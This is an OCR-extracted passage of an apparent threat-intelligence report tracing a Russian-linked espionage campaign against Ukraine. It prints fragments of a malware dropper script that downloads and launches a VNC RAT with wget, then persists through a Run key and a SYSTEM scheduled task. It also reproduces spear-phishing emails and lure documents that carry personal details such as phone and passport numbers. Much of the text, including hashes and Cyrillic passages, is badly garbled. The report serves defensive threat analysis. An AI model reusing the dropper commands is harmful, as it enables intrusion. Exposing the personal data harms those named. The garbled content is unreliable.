from Russian v: \11POBA\Cosnanune rposuos\cosmaume RMS\vnc tO Y:\TEST\Trojan
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Creation\creation of RMS\vnc.The RAT also allows the attacker to seta
password that must be entered to connect to the infected machine:

[UltraVNC]
passwd=ATFEFCE6T315BTFFSF
passwd2=000000000000000000

Figure 12: Password used by attackers to connect to infected machines

December 25, 2014

Just after Ukrainian peace talks end in Minsk, an additional version of getcrome.exe
(MD5: 90F8F8EA411D767D833F9697DDODARF4) is identified. It has the same
functionality as the November sample, but now downloads the payloads from the
following locations:

hxxp://xiaomi-mi.com.ua/images/logo/chrome-xvnc-v5517.exe
hxxp://xiaomi-mi.com.ua/images/logo/chromeupdates.exe
hxxp://xiaomi-mi.com.ua/images/logo/updatesexplorer.exe

The above domain is an official website of the Ukrainian branch of Chinese company
Xiaomi, the third largest smartphone distributor in the world. This marks the
second time the attackers used a compromised server to deliver payloads.

January 15, 2015 - January 29, 2015

During a period of very heavy fighting in which Ukrainian anti-terrorist operation
troops lost control of the Donetsk airport, the espionage campaign continues.
Attackers move the payloads with the same functionality to the following locations
on yet another compromised server belonging to a Ukrainian moving company:

hxxp://e.murave].ua/dumper/backup/chrome-xvnc-v5517.exe
hxxp://e.murave]j.ua/dumper/backup/chromeupdates.exe

The only difference between this payload of “chrome-xvnc-v5517.exe” (MD5:
33ACB5B49688E609EF414ECT762F180FB) that contains UltraVNC and its configuration
files and previous versions is its usage of a new Dynamic DNS domain,
grom56.ddns.net:5500 as the location of the VNC server. This domain resolves to
37.143.8.220, which also hosted grom90.ddns.net.

February 8, 2015 - February 18, 2015

Despite another ceasefire, fighting and cyber attacks continue in mid February, until
Putin urged Ukrainian troops to retreat from the key town of Debaltseve. The
current wave of the campaign stopped on the same day the troops retreated.

Early in this wave, payloads move to two new compromised servers, belonging to an

international logistics and cargo carrier and an electronics and appliances shop,
respectively:
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hxxp://brokbridge.com/images/thumb/chrome-xvnc-v5517.exe
hxxp://skidka.mobiboom.com.ua/ckeditor/lang/chromeupdates.exe

These payloads offered identical functionality as the previous versions, except that
the UltraVNC RAT found within “chrome-xvnc-v5517.exe” (MD5:
09503CEEEESEFF7FDBC75BB4E45012E7) communicates with a VNC server at a new
Dynamic DNS domain, cat.gotdns.ch:5500, which is hosted on the same IP address
(37.143.8.220) as the previous Dynamic DNS domains.

Later in this wave, a new file, “Attachments_kps@ps.mil.gov.ua_16.02.2015.rar”,
(MD5: CC6F3382888B8F2AD39DE288FBA3ELEC) is identified as being distributed from
two URLs:

hxxp://cityhotel.ua/media/editors/codemirror/Attachments kps@ps.mil.gov
.ua_16.02.2015.rar

hxxp://downloads.mortal-
combat.by/target.php?uid=b266690a47e0eclbb250931d787408d68450b1flsurl=a
HROcDovL2NpdH1ob3R1bC5raWVvV2LnVhL211ZG1hL2VkaXRvenMvY29kZWlpcndvei 9BdHRh
Y2htZW50cl19rcHNACHMubW1lsLmdvdi51YV8xNi4wMi4yMDE1LnJhcg==

This second URL contains base64-encoded content that decodes to a new URL to
redirect victims to, hosted on a compromised web server of a hotel in Kiev:

hxxp://cityhotel.kiev.ua/media/editors/codemirror/Attachments kps@ps.mi
l.gov.ua 16.02.2015.rar

This WinRAR file contains another SFX archive using the same payloads and VNC
server as the previous samples.

March 13, 2015

The SBU releases another statementl3] announcing the detection of increased cyber
attacks attributed to the 16 (former Federal Agency of Government
Communications and Information) and 18t Centers of the Russian FSB. They
explain some of the continued TTPs that are observed in the attacks.

March 25, 2015 - April 3, 2015

After the SBU released the official statement announcing increased Russian cyber
activity, a new series of attacks is uncovered while the attackers slightly modify
their TTPs. In two new droppers identified, attackers use enticing names for the
droppers along with a text document icon, and open binary content in Notepad to
make the victim think the document was corrupt.

Within both of the new SFX droppers are new scripts, including “tron.cmd” (Mps:
262777E5E1DA79784C08ACBB2002C169), which renames the legitimate wget.exe file
to “SystemsErrorOpeningTheDocumentMicrosoftOfficeOf%DATE%.doc,” and opens
itin Notepad:
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Figure 13: “System Error” opening “document” that is actually wget.exe

Just after attempting to convince the user that there has been an error opening a
document of interest, “tron.cmd” downloads the payload containing UltraVNC RAT
from another compromised server:

6
7 copy "#TEMP#\wget.exe" "TEMP*\SystemsErrorOpeningTheDocumentMicrosoftOfficeQf*D
8 start /b notepad.exe "%TEMP%\SystemsErrorOpeningTheDocumentMicrosoftOfficeOf*DATER.
)

10

11 CD $TEMP%

12 wget.exe -N htt

14 copy "chrome-xvnc-v5517.exe™ "EAPPDATA*"\Treams\ /v

15 copy "chrome-xvnc-v5517.exe” "iWINDIRE"\Treams\ /v

16 CD *TEMP%

18 start /b chrome-xvnc-v5517.exe

Figure 14: Retrieval of payload containing UltraVNC RAT from compromised server

After it executes the “chrome-xvnc-v5517.exe” payload (Mp5:
3169E1F0B5B6590C394E5785ED49DESB), “tron.cmd” schedules tasks to re-run it every
180 minutes, and also adds it to an automatic startup location in the registry as
persistence mechanisms:
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P ver | find "Microsoft Windows XP" > nul

24 if not errorlevel 1 goto win_xp

25 goto win_7

28 iwin xp

29 reg add HEKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run /v chrome-xvnc-v5517 /t
REG_EXPRND 5Z /d " ‘system32\cmd.exe /c start /b \Treams\chrome-xvnc-v5517.exe™ /f

31 schtasks /Create /tn Trons_ups /TR " "\Treams\chrome-xvnc-v5517.exe /SC MINUTE /mo 180 /ru "SYSTEM"

Gl goto end
win 7
reg add HEEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run /v chrome-xvnc-v5517 /t
REG_EXPARND 5Z /d " “system32\cmd.exe /c start /b “Treams'\chrome-xvnc-v5517.exe” /f
schtasks /Create /tn Trons ups /IR " "\ Treams\chrome-xvnc-v5517.exe /S5C MINUTE /mo 180
goto end

41 :end

42 CD

43 exit

Figure 15: Persistence mechanisms used by “tron.cmd”

This version of the dropper containing UltraVNC and its configuration files is
identical to the previous version, still using cat.gotdns.ch:5500 for VNC
communications, but with one small change. The UltraVNC configuration file
“UltraVNC.ini” (MD5: 846AF40E4E84E40A854482C3B20395C1) previously used the
string “path=Y:\IIPOBA\Cosznanne rposnor\cosmanue RMS\vnc” asthe path on the
attacker’s VNC server for log storage, but has now switched to a more discreet
“path=C:\Windows.”

While this most recent phase of the campaign has been occurring, pro-Russian
separatist leaders have announced their intentions to continue to fight for Ukrainian
cities, and ultimately all of Ukraine. The Lookingglass Cyber Threat Intelligence
Group predicts that as the physical conflict wages on, the cyber espionage attacks
will continue, and perhaps the attackers have already begun preparation for the
next stages.
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APPENDIX C: Example Spear Phish Emails and Translations

+—Hazaneo Bxopawue OrtBetwis  [epecnate  Ypanuib  Bcnam!  TllepemectiibB v Ewg ~ +peg  Cnepg+»

OnepaTUBHWIA WTa6 AAMIHICTPAL AepXaBHOi NPUMKOPACHHOI CNyKEW YkpaiHy — Mpo 15 aneapa 2015, 15:50:49
06 CTaHOBKY Ha AePXKABHOMY KOPAOHI YKpaiHn

Mogpofinee

[Hchopmyemo Npo obCTaHOBKY Ha AepHaBHOMY KOPAOHI YKpaiHu Ta Hagcunaemo BiANOBIAHWA iHhOPMAaLIAHO-A0BIAKOBWA MaTepian
cTaHom Ha 07.00 15 ciuna 2015 poky (A0aaeTLCA).

OnepaTWeHWi wtab

AamiHicTpauii AeprasHol NPUKOPAOHHOT CIyKBK YipaiHu.
Ten. (044) 527-63-05;

dawc. (044) 239-84-36

Ckayatb BnoXeHWa oAHuM apxuBom (1 daiina) | Coxpauutb Ha eDisk Ba

Joaatok Ao ysaraneH~.doc
944 KB Craqatb

Translation (from Ukrainian):

Operational Headquarters of the Administration of the State Border Guard Service
of Ukraine - About situation on the state border of Ukraine

An information about situation on the state border of Ukraine and an appropriate
information-reference material as of 07:00 AM on January 15, 2015 (attached).

Operational Headquarters

The Administration of the State Border Guard Service of Ukraine
Phone #: (044) 527-63-05;

Fax: (044) 239-84-36

An appendix to the summarized~.doc
944 KB Download
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— Ha3a/ 80 BXOAAUME  UIBETNTb lepechniaib  Yaanib Ccna epeMecinib B *  Ewe v
OnepaTueHi WTal AAMIHICTpaLl [epkasHol NpuKkopAOHHOI ciyxfin Yipaikn — Mpo 06CTaHOBKY HA AepPXABHOMY KOPAOKI YKpaiki

Or: Oneparmenui wrab Aaminictpauii fepxagHoi npukopaonHoi cayxbu Yepainu <sc_adpsu@yandex ry
oy QR
Tema: Mpo ofcTaHoBKY Ha ABPKABHOMY KOPAOHI Yipaikm
Rara: 16 ansapa 2015, 11:02.01
Paamep: 8K

IHhopMyeEMO Npo 0BCTAHOBKY Ha AePKABHOMY KOPAOH YKDaiHHM Ta HAACHNAEMO BIANOBIAHKIA IHDOPMALYHHO-A0BIAKOBHA MaTepian cTasom Ha 07 00 15 ciyxs 2015 poky (aoaaeTbCs)

Onepatusxuil wtab

AaMiHicTpauji lepwasHol npukopAoHHOT CykGy Yipaikn
Ten. (044) 5 .05,

dakc. (044) 4.36

Translation (from Ukrainian):
Operational Headquarters of the Administration of the State Border Guard Service
of Ukraine - About situation on the state border of Ukraine

From: Operational Headquarters of the Administration of the State Border Guard
Service of Ukraine sc_adpsu@yandex.ru

Subject: About situation on the state border of Ukraine

Date: January 16,2015 11:02:01 AM

An information about situation on the state border of Ukraine and an appropriate
information-reference material as of 07:00 AM on January 15, 2015 (attached).

Operational Headquarters

The Administration of the State Border Guard Service of Ukraine
Phone #: (044) 527-63-05;

Fax: (044) 239-84-36
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Below is an example SMTP header of a spear phishing email sent in the campaign
using the publicly available PHPMailer:

Return-path: <gl23fgl@yandex.ru>
Received: from [10.10.12.25] (helo=frv25.fwdcdn.com) by frv3S.fwdcdn.com; Thu, 15 Jan 2015 15:50:48 +0200
Received: from forwardl7.mail.yandex.net ([95.108.253.142])
by frv2S5.fudcedn.com with esmtps ID 1¥Bkoy-0006Ek-QV
for ; Thu, 15 Jan 2015 15:50:48 +0200
Received: from smtplS.mall.yandex.net (swmtpl8.mail.yandex.net [95.108.252.18])
by forwardl7.mail.yandex.net (Yandex) with ESMTP id 3D3FC1062685
for : Thu, 15 Jan 2015 16:50:48 +0300 (MSK)
Received: from swmtpl8.mail.yandex.net (localhost [127.0.0.1]
by smtpl8.mail.yandex.net (Yandex) with ESMTP id 1198918A00C1
for ; Thu, 15 Jan 2015 16:50:47 +0300 (M3K)
Received: from unknown (unknown [2a03:c980::1:20:16])
by smtplB.mail.yandex.net (nwsmtp/Yandex) with ESMTPSA id 6ZTTNAY3zM-olHiYkUWC:
Thu, 15 Jan 2015 16:50:47 +0300
{using TLSv1.2 with cipher AES256-GCM-SHA384 (256/256 bits)
{Client certificate not present)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex.ru; s=mail; t=1421329847;
bh=q7hXg/DnyIy0YEsBKkA6MSIRIFrKYCUcuNePGxprmoxce=;
h=Date:To:From:Subject :Message-ID:X-Priority:X-Mailer: MIME-Version:
Content-Type:Content-Transfer-Encoding:
b=TUOvmUoknNhSfDGboBHup716QROeMKr £2 IP/ IXx IP+KOphwRGVscNwF 1RZDFUzyFVO
6GPTVUQTWE3 JKSFnPJULWgwO6LgbKOTPt+pRUN3 wEGaaSaHp3PR/ 3FWW3hS/ iV3 g
txKZTja0XSRKISwCajSr838haNUF YVhlzSdjNbek=
Authentication-Results: smtplS.mail.yandex.net; dkim=pass header.i=fyandex.ru
Date: Thu, 15 Jan 2015 16:50:47 +0300

To:'llllllll!l!llllllll..
From: =?utf-57B70J7QvIC10YDQsSNGCOLIQstCI0LjQuSDRINGCOLDQsSSDQRNCOOLZRILCO0ZY=2=

=2utf-82?B?0YHRyt GAOLDRht GO Zeg0J TQLAGAOLLQSNCYOL3 Qut GXINC/0YDQUNC60L4= 2=
=2utf-82B20YDQtNC+0L3QvdC+0Zeg0YHQUIGDOLbQsAC4 INCIOLrRgNCWOZEQudC4 2= <sc_adpsufpvu.gov.ua>

Subject: =2utf-82?B20J/RgNC+INC+0LHRgAGCOLDOvAC+OLLOUEGD INCOOLAGOLTOtAGAOLLOSNCy 2=
=2utf-82B?0L3QvtC80YNgOLrOQvtGAOLTOvECO0ZYgOKPQULGAOLDRISCS0Ly="2=

Hessage-1ID: <7d8dd75c8b4310911dede$7e29754915_43968_g123fg@yandex.ru)

X-Prioricy: 3

X-Mailer: PHPMailer 5.2.7 (https://github.com/PHPMailer/PHPMailer/)

MIME-Version: 1.0

Content-Type: multipart/alternative;
boundary="h1l_2el13c0216c205df3dZed7fdectidbedd"”
Content-Transfer-Encoding: bhaset4
Authentication-Result: IP=95.108.253.142; mail.from=gl23fglyandex.ru; dkim=pass header.i= header.d=yandex.ru
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APPENDIX D: Legitimate Documents Used as Lures

o cknany «IIpaBoro cneKTpy» BXOIATH:

- BO «Tpu3y6 im. C.banaepn»:

npi3BHCEKO «JIITYH», TromoBa LEHTPAIBHOIO
nposogy BO  «Tpu3yd»  1m.C bamaepn,
04.12.1974 p.H., yKpaiHeus, YpPOLKEHEUb M.
bopucnae JIsBiBCEKOI 001aCT1, MPOKHBAIOYHI C.
3aguicTpaHCcEK | anHuBKOro pafioHy, BYIL
JIeBiBceka, 20, cyammE#,  1geomor
KOOpAHHATOpP oObmacHoro ocepeaky «1pu3yo»

fi aBTOTPAHCIIOPT .

oprarizami «Tpm3ayo», 30.09.1971 pH.
3apeeCcTPOBAHHMH Ta MeIKae y
JHINpOa3e pAHHCEKY JHIMponeTpoBChKOL
obaacti mo Bya. Meawana, 47, k8. 6, (M0ob.Ten.
067-5575545). Ocobucti 3B's3ku: B Hammsaiiwenko (YIAP).
O.Typuunoe, A Ilapyouii («barsxiemuna»), A Moxuuk, O .Cupotiok
(«Ceoboza»). P.Uybapor (Mezxmc KTH). A Kapmox (YHA-VHCO).

«CMmepeka», aAB191 CyAHMHIA, ronosa [ aauuskoro
paiionHoro ocepeaky BO «Tpuayo», 13.01.1985
P.H., MEIKaHeNb CeJIHNA 3JagHICTPAHCHK,
[amauskoro  pafiony. IBano-®pankiBceKOi
obmacTi ommH 13 koopamHaropie «[IpaBoro
CEKTOpY».

I 1 c2 10 «Opect»,
cruBicT  |BaHO-®Ppamkiecekoi  opramizami BO
elpuzyo», 03.08.1981 PH., 3apecCTPOBaHHH
W DHEBHIT Pir JHinponeTpoBCcHKO1 obmacri,
Hemutena, 45/15, dakruano npoxusae y M.IpaHo-
PAHKIBCBK, Oe3pobiTHHIT, OCBITa BHINA,
HeOApYAEeHHH JoBipeHa ocoba kepieHuHurea BO

nacnopt cepii CE Ne 069117, m.1. 0971135855,

L EGELE

«SAcTpyd». romosa VYKpaiHCBKOi NOMITHIHOL

I niceBIO

File: Spiski pravogo_sektora.pdf
Translation (from Russian): Lists of Right Sector.pdf
MD5: EA8BB16F04985063BE3C5E617C201681
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TH®OPMALIIHI MATEPIATH
Aaswodennoro ingopmyeanna AaminicTpauii [Tpesngenta Vipainu
Ta Anaparty Paau nauionaasnoi fesnmexnu ta ofoponn Vrpainu
femanom wa 16.00 25 cepnwa 2014 p.)

1. MI0J0 VYYACTI 3C VKPAIHH B IIPOBEJIEHHI
AHTHTEPOPHCTHYHOI OIEPALIT TA CHTVAIUL B PAHOHAX IX
AT

Ma a. apak g \
mil Yac yyacTi B NpoBeleHHi AHTHTEPOPHCTHYHOL onepauii 3 AKUEHTOM Ha

NpHKIAIM Halbiabw vemiwxmux Jik
nporarom 300n e ATO saificsran Oansexo 60 apraaepificesux yaapis

M0 NMPOTHEHMKY, B TOMY YHCTI JBIYl 10 JB0X KOI0HAX Opoxerexmixm 3C P, mo
Ovan sadixcosaH B pafioH 7. beaapissa JoHeusroi odaacTi;

v =iy npota 24.08 curaym ATO Oyao Bia0HTO Ha MaJIHHA HA OJTOKIIOCT B
pafiomi Mapiymoas, saTpiaso Jesl1sKa TepOpHCTIE, S00KY BICEKOE0CIVKOOBLIE
3C Vrpainn | nopaneswi;

VEPAiHCBKA apPTHIEpid SHMNIMIA JIBI KOJTOHHM BIACBKOBOI TeXHIKH
TepOPHCTIS, WO pyXaauca v Hanpausy Cayp-Moruau si croposn PP,

1.2 Bunagku 3aruberni (mopaHeHH$), 3aXOMJEHHS B 3aPVHMHHKM
BificbkoBocavkboBuis 3C Vkpainu, 3HMmeHHsa Ta/afo MOWIKOIAMEHHS
030 poeHHA, BilicbKOBOITEXHIKM 3 BKA3AHHAM 00CTABMH 3a3HAYEHHX MoJii (B
paMkax nposejenna ATO)

sriggo sazsu mrady JHP v gn. KpacHoe JoHeusxoi odxacti BOHTO 3
sificexosocayxOosuis 3 JPT, me 3 cr10BHEE S el rPVIIH 3aXO0ILTeHO V MOTO0H:

sa MOBLIOMIEHHAM sacTVmMHMKa roxosm Jmnpomerposcexoi OJA
COaiitsmxa & somi ATO sa wac nposedensa omepami sarmayao 107
BificeroBOCTYROOBME 25-i Jmimpomerposceroi Opmrazm, mre Oitsme 500 —
MopaHeHi:

sa octaHHi 300V v soHi ATO sarmmyzo 3 sificexosocayaxOosuis, 8
OTPHMATH NOPaHeHHA:

sa secs wac nposedenna ATO s pesyasrari
BIfICEKOBHX, MopaHexo — 26235,

(=]

ofOBMX Jif sarmmyao 722

1.3 IndopMauia woJo IHEWKOIKEHHA (IHHIIEHHA, 3AX0NJIEHHA TOWO)
YWIeHIE TePOPHCTHYHMX TPV, He3aKOHHMX 30poiinux gopyMyBanb, 3pa3kie
36poi, TexHiKK Towo B pesvabTaTi 2ii migposaiais 3C Vkpainu

saTpmMado ocodncroro oxoponua [l ipana.

14 Cnpobu saxonaenns (6aoxveanns, obcrpiais, mikerveams,

File:
MD5:

25.08.2014.doc
1B616B190291593D1B392F6FA9998422
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JATBEPTAYIHO

TEQD szzcTviDDsz EIusTeERES  AwRazswil
CYXONIVIEIX EifichE DMeEl reThMzez [letps
Carzfizzuecre 3 EayEosol podoTe

AB. CTHOCAPEHEO

i 2014 pory

AKT ERCTIEPTISI Ne

Ercnzpras moumiciz Haveosoro memrpy CyvxomyvrHmo: EiffceE ARZIsumil cVEOOVIHHX
EifCEE ¥ CETEIL
rozoed Eouicil — gavamermrs HIE Camemurs HOUTT;
C2EpaTEpE KoMicil mpoeigHore HevEOEOTo cmiepoditauks HIE [Tamroeceroro B.E.,
IEHIE EoMicil
mpoEigHOT 0 HEVECECT 0 cmiepoditemes HIE Borvmexore COL:
mpoEiZHOT 0 HEVECEOT 0 cmiepoditemes HIE Pveige ITO.

DOSTISHVEINH MITSPISTH T23 JOMOELISH HE Teury: «FlEMpIuEN POSERTEY 32MISpHITHOT TSXHIER

{FCEsHEDHID Eiftceks agTopa Luovani C A, «hareuarimmi Mogzni emomey sricHim: { RineRicHID

TMOESIHHEIE EMIIE T2 THIHE HISEHIN TS MEPCMSETHEHNN PE3RiE HI 0OTDVHTVEIHHE J230E0TO
THIE®Y OCHOEHIN 33C00{E {HmsHspHOT0 0zdposHHS», sETops Ohysgeaves CL., oHampausm
DOSEMTEY SETOMITHIOESHILD CHOTSM VIDSETIHHS TESRTHYHO! TSHEM VIDSETIHHE CVIOMYTHHX
Eiftcer Jopofmme Cun YVepsiEms zeropie Emmsommmsz OE., [Jzgpvr T.B. [lamerams OO
{mpotorom Nz __Eiz_ ._ 2014 p.),

3podHIA  BHCHOBOR! J3HI METpisTH  T2: JOMOEIISH H: MICTETE  EIJOMOCTEIL
:300POHSHKG I7F ELJEPHTOTO OMVOZIEVESHHSE, MEPsI08YsHHE ~JEOJOM ELJOMOCTSH, Ino

CTEHOETDSTE JSpessEHy TaeMuEMD » epaimn” (3 1BT) 12 mepaniron coviedosol imdopuanii 3C

Vrpaimm (TICI-2011).
hlarepiznm T2z JomoEiIS MOEYTE OVIH OMVOSIEOESHL ¥V ELIEPHTOMY JIpvIi.

TozoB2 KoMICH: HOII. CATEHHE

Cexperap Konicii: B.B. [TALIKOBCBEII

UeEm Ronicl ' M. BOTVLIBEIIT
I1.0. PYCLIO

MO0 TEEHO:

HzmzThEEE BIIIUTSEER 3EXECTY HGOopMam]
TMOMITHEEE 2O ThERE2 AR2T01 B.O.MOPIAY

HzmzThEEE BLIIUTSEER
BiECBEOBO-TEREMECT HOopnami JLIL XBIP

File: 2014.doc
MD5: A85115F97136D812317303306B8625D2
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KouTpo.awoeaHicTe TepuTopiii cnamm ATO, cramon Ha 16.11.2014
JdoHeubka 0d.1acTh Jdyrancera of1acTs
PEHOEE MICT2 pEHOEE MICT2
ABIMEES,
ApPTSMIECBE,
Boamoeaxz,
VII2IEp, EiJLBb:“bEEﬁ,
APIE’iB“bI{I-.'F' JefzTeusEs, BLToEVPERECBEIE,
BemmoE0ECC2TRIECREEE | J38p#ERIbE, Fpemircp R,
Hepedysators Bb:r.,::p“bu::-' ,IP:;:}-:IP}B: H_csc;_truzp::émﬂ-; P.}'-ct&m:e:
mix ROI‘ITPOJ&\I JoSponiTe ChEIE, Jobpomrs, ;-: {epriBCBERE, C:E_Ef_PCJCI-Z%E:
yupaiuncniel }31,::1-:“:*3.:&-.:551:% APyARIBER, Mitopcpsagi, CrzEmarz-
" BaaIE I'\PE"EC-'E":-{EECBH?”l I'P""TCP”MZ- ﬂoxaqrz:m:ossma-:-:, JyrzEcBEZ,
Ok c2EIPIE ChEEE, Fpzcepst Tioeze, | CEaTiBCRERE, JlEcEMzHCBE
[TepmoeTpeER=EIE, Kpacroapuificer, | Crapofitecored,
C10B RHCBEHE LOCTEETEEIEEZ, | [poilbEHE,
Mapiyooas, [TomzcERECBEIE
Hoporpodiesz,
CeTaoes,
CI0B EECBE
Crzrpmeo-
BoTeoBachrE, JIvTEECBEIE,
FocTRETHRIE CHRRE, C 108" sROCEPSCh R
TaTh ) ZEIECHERTE, (TloctzroE2 BPY
CrapoGemtincaxui Crrzue ATO
YacTkoB0 Fi“r::- VESTChEHE, - _
. : EOETPOTRSThCE
wonTPGUE o | Map’ u-':mf:} 12 ByTasTopebE
VEpalHcbKOW | (& padioni Wap T e
' E;.mnom IHCGOUTE ':: E3850HG- EE&'?LB‘M”L
o o mm | MiCBEpEIE
SRopHUE FyHER cutd]
Axull nocmitine CVHIMNE U MR
obcmplivocmeca e ATO ma
MIEPGPUCHIL) rrs-_pu"n_ LAt
OHSIBE,
JoEVOz¢ECBE, S
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AHTHTEepOpPHCTHYHHHE  UeHTp TpH
Cayviidi fesmerH YKpaiHH

rpvams 2014 pory

3377054 12.11.2014

TIpo Ha3zHHE iHGopMail

Y MimicTepcTEl BEVIPINEIX COPas posraaEyvTo Jucta CavEdm Oesmesm
Vipaigy mozo sIifcHeHHs iHGopMamfHoro o0MIHY IIpo CTAaH 1 TeHIeHm
NONHMpEeHHA TepopHsMy B YEpaiHi Ta 33 §i MeWaMe 33 EEASAHMME B JIHCTI
HAMPAMEAMEH. ¥ 3B 3KV 5 I IHGOopMyeno Opo Take.

02 rpyzma meoro poky B MicTi XapsEe Ha Bvamm Axagemira [poceypm, 1,
Olta sopit Eificerosoi wactmsm 3017 Hamomazesoi reapaii Vepaisw crasca
MIOTVIEHHE EHOVX HeECTAHOETRHOIO NpeIMeTa.

¥ pesvaeTaTl BHOVXY HaCTHOEO MOMEOIHEHO EOPOTA sa3Ha¥eHol BIHCEROBO]
gacTHHH. PO He MOCTPAa®IATH. 33 JaHHM QaKTOM BIIEPHTO EPHMIHATIBHE
P OEA T4 HHA 3 IPAE0E0H FEAMGIRAIern KpAHaIEH0T0 IPAE0NI0PVIISHES 33 o, 2
cT. 194 (Vamcse sHumIeHs 00 DOoMED TEeHNEA MafHa) KK Vipaimm.

09 rpvams meoro poEY HA HRHTPAJIEHOMY AaBTOBOEsATl M. JoHeNEBR
HEELTOMEME 050 0 SHME 000 0aMH V0 3aTPHMANO COTIIATa CTpokoso] BlficeRoE0]
cava0n EBificeros0i wactmmm 3037 CxizHoro omepaTHEHOTO TepHTOPIATEHOTO
00 exsamsng Hamosagesol reapaii YVepaismm

Epintoro, sbepiraeTeca sarposa MIMpOKOTO BACEROBOT0 ETOprEeHEa Pocli zo
Vrpaigs E igTepecax CTBOpPeHHA CYXONVIHOTO EOpHIopy IJo Kpmoy ado
pPOSIIMpeHHA TepHTOpl 3S3sHAYEHHX EHIIE [CEEIOISPEABHHX VIBOpPEeHE IO
amnOHicTpaTHEREK e Josenssol Ta JIyrascesol odgacTed

ITuramss mpo CTaH 1 TeHIeHO DOMMpPeHHA TepopHsMy B YEpaim Ta sa i
MeEAMH SHAXO0IHTECA Ha KOHTPOJl KepissunTea MimeTeperea.

Jactynmuauk MinicTpa —
HayaabHHK [010EHOTO
CII4¥0re YIPaETiHHA BAL Caraa
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¥3ATAJTBHEHA J0OBIJEKA
npo o6CTAHOEKY HAa JepAaBHOMY KopJoHi
craHoM Ha 15 ciuna 2015 poxy

I. O6cTaHOEKA HA VEPAaIHCBKO-POCiHCBKOMY KOpPIoHi
Ta CMV3i pO3MeEVEAHHA XapaKTepPH3IVETBCH:

1.1. CyTTeEHM 3pOCTAaHHAM NpoTAroM JobH iHTeHcHEHoCTi obcTpinis
nosuuif nigposgiais cua ATO.
Sagincosano 129 obompinis (25 - apmuaspilcesux 54 - MiRoMEMHUL $6 - [,

g pesyvaemami sSxux 4 silcewsescayscbosys 30V ma 1 eilcexosscaqysbossyes Hau
3C¥]

—
-y

Feapdii ompumaau nopaderna 1 - zazunye (70 Sanumu L

£

O6cmpinu nidpozdizis JIICY

Cexmop «B» OBB «Beauwa Hogoriawger OBINK «Yoms [n5 HOBOIPCIIEKA] -
npuropdoHHul Hapad v craadi 7 owoa. caidyens Ha GpoHbosaHoMy asmomobici
whvzyaps, 5 palonl g VMARCEKE OFPIIEKA o 13.10 6ve obompitanuil 2 MiHoMema
(zdificnens 5 nocmpinu). Bozowe siscs 3 g AESIEKA. Hocmpaxwcdoiux Hemae.
Aemomofiie NOWKIIMEHE HE IAIHAE

Cexmop «C» OBB wKpawmamopcers OBIDK «Izmaiae BIT Ne 3401 «Mauopohis.
mp Kopudop Ned, nacaxwcupceruie. FTOPJIIBEA - APTEMIBCBK - 3 11,22 do 11,40 31
cmopory B3P (B-# . SAHLIEEG] =dilicHeno MinoMemHul oGempia Baay-Nocmy, Ha
ERoMY Hecau cayxely 6 npuwopdonuuwie ma silcemosocayxcbosyi 17 ETpG Mobsusy
Sanr-nanme posipeasoce 27 Min Tocmparcdaiix HeMac.

Cexwmop «B» QBB «Beaurna Hoggogiang: Fpld «Bepynsomeopeynigs OBMK «Yoms
(a3 HOBOTPCIIEKA] - z 0045 30 0200 15012015 Gyas 20icHEH O MiHOMEMH UL
ofcmpil KoHMpoaeHoso nocmy (Gauzewxo 20 Min), Ho srosy Hecau cayscly 10
npuropdoHHUKiE  mMa silicewoeocqyxcbosyl  20-z0 famaaslony 53 gMAn
Hocmpaxcdaiux HeMac.

31540 14.01.2015 KIIBE «Eyzacy 20itickoc subiprosuil nponyox spoMadaH.
1.2, MNozanbpmuMm nepeMilleHHAM Ta CKVIYeHHAM cuia i 3acobis 3C P$
Ta H39 na Teputopii /Iyvrancekol Ta Joxneubkol obracTei.

E wiw mo 14012015 e v, TTAHCEE zadincosanc npubymma nidcwiexnna 3C PP
(3 manrw 10 PC3B, 10 aemomobitie «fgmazs ma do 350 silicenosocayxebosiis).

Ha diszuyi JoHeyenoz0 3a20H), NPpod0exyemMens HAPOWYEaHHS o U sacobis Hid e
palonax S/ NPUASZAEME 30 ATHIT 3IMKHEHHS!

£ m KOMCOMOJBCEEE = npumiwenni ATIL pozmiwgeni 10 odunuye BM-21
wlpads | ocoboeut croaad:

e g0 CTHIA zapas Sasyemecs nidposdia H3P y craadi 200 ocib [weewenyis]:

HO MpaKmopHil Bpuzadi Mix Hi HOEHE CEET | SOHELEK Basyrwomecs § CA¥ §
peoboeul creaad.

1.3. AxtusnicTo [PT (oneynidposdicis 3C P2 ma H3$)HA nepeIHbOMY Kpaw
GesnocepeIHBOro 3iTkHeHHA 3 «/THP»,

File: 15 01 2015.doc
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JOBIIKA - JOIIOBLIb
KOMaHJupa BilicbkoBoi yacTunu A1035

1. OmnpauioBaHHS Ta yTOYHEHHs 3asBOK Ha IIOIIOBHEHHS 0/C Ta TEXHIKH.
- 3 MobinizaniHoi poboTu

Po3paxyHOK KOMILIEKTyBaHHs 0QilepChbKUM CKIaZoM 74 OKpEeMOro po3BilyBajibHOro 6aTalbioHy
Bux.Ne 60/nck, Po3paxyHOK KOMIUIEKTYBAHHSI CTAPLIMHCHKHM, CEP)KAHTCHKMM Ta PSOOBHM CKIIAIOM
3anacy 74 oxpeMoro po3BinyBanbHOro OartanpiioHy BUX.Ne 61/ack, Oynu Binmpasieni 17.07.2014poxy
yepe3 BilicbkoBy yactuny A0355 1o OMY OK «IliBaeHs».

3asBKa Ha IIOIIOBHEHHS IIOTOYHOIO HEKOMIUIEKTY odinepiB 3amacy mis BifiCBKOBOI 4acCTHHH
A1035 Bux.Ne63/ack, 3asBKka Ha IIONOBHEHHS IIOTOYHOTO HEKOMIUIEKTY CTapLIMH, CEpXaHTIB Ta
psAmoBoro ckinany ans BikicekoBoi wactuau A 1035 Bux.Ne64/nck, Oynu Bignpasneni 23.07.2014poxy
yepe3 BilicekoBy yactuny A0355 no duinponerposcskoro OBK.
- 31 CTPO#OBOI YaCTUHHU

Ha nomnoBHEHHS HEKOMIUIEKTY O(QIIepchKOro, CEpxaHTCHKOr0 Ta PpSJOBOr0 CKIAAy IITaTy
MHpPHOr0 yacy Oyia BianpasieHa 3asBka HaganbHUKY yIpaBiliHHS IEPCOHANY — 3aCTYIHUKY Ha4yalbHUKA
wmtaby OK»lliBgens» Big 15.07.2014 poxy Nel035/21/2043(20 — odiuepis, 45 — cepxantis, 124 —
coyijgat, Bcroro — 189)

YxoMILIeKTOBaHICTH 0CO00BHM CKJIAIOM.

